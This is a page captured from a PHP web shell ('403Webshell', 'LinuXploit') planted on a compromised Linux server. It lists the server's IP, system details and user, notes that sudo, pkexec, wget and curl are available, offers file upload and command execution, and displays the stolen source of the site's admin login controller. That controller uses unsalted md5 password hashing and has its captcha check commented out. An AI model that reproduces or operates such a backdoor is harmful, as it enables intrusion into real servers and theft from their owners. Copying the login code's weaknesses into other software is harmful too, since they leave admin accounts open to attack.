403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 8.2.20
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/galaxynail.com/wadmin/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/galaxynail.com/wadmin/controllers/Login.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Login extends MX_Controller
{
    public function __construct()
	{
        parent::__construct();
        $this->load->model('login_model','login');
	 	//$this->lang->load('login');
    }

    public function index()
	{  
        trit();
        if($this->session->userdata('admin_id')){
            redirect('admincp');
        }
		
		if(isset($_POST['bt_submit']))
		{
			//trit($_POST);
			//$login_admin 	= $this->session->userdata('login_admin') ;
			$login_admin 		= isset($_SESSION["login_admin"])? $_SESSION["login_admin"] : "";
			$captcha 		= $this->input->post('captcha');
			$user_name 		= $this->input->post('user_login');
			$password 		= md5($this->input->post('user_pass'));
			
			//trit($captcha .'=='. $login_admin);
			/*if(!empty($captcha) && ($captcha == $login_admin))
			{*/
				$this->form_validation->set_rules('user_login',lang('login_name'),'trim|required');	//|callback_check_login
				$this->form_validation->set_rules('user_pass',lang('login_password'),'trim|required');
				if($this->form_validation->run())
				{
					$rs = $this->login->get_admin($user_name,$password); //trit($rs);
					if($rs)
					{
						$this->session->set_flashdata('message',"Đăng nhập thành công");
						//trit('Thanhcong');
						redirect(base_url().'admincp');
					}else{
						//trit('Kothanhcong');
						$this->session->set_flashdata('message',"Đăng nhập không thành công");
					}
				}
			/*}
			else
			{
				$this->session->set_userdata('message',"Mã lệnh không hợp lệ"); 
			}*/
		}
        $this->load->view('login/index');
    }

    function check_login($user_login)
	{
        $password= md5($this->input->post('user_pass')); //trit($password);
        if(($user_login!='') && ($password!=''))
		{
            if($this->login->check_login($user_login,$password))
			{
                return true;
            }
			else
			{
                $this->form_validation->set_message('check_login',lang('login_fail_info'));
                return false;
            }
        }
		else
		{
            $this->form_validation->set_message('check_login',lang('login_name_pass_not_empty'));
            return false;
        }
    }

	public function captcha()
	{
		$md5_hash = md5(rand(0,999)); 
		$login_admin = substr($md5_hash, 15, 5); 
		$_SESSION["login_admin"] = $login_admin;
		//$this->session->set_userdata(array('login_admin'=>$login_admin)) ;
		$width = 100; 
		$height = 28;  
		$image = imagecreate($width, $height);  
		$white = imagecolorallocate($image, 255, 255, 255); 
		$black = imagecolorallocate($image, 0, 0, 0); 
		imagefill($image, 0, 0, $black); 
		imagestring($image, 10, 28, 6, $login_admin, $white); 
		header("Content-Type: image/jpeg"); 
		imagejpeg($image); 
		imagedestroy($image); 
	}
	
    function logout()
	{
		$this->session->sess_destroy();
		redirect(base_url());          
    }       
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit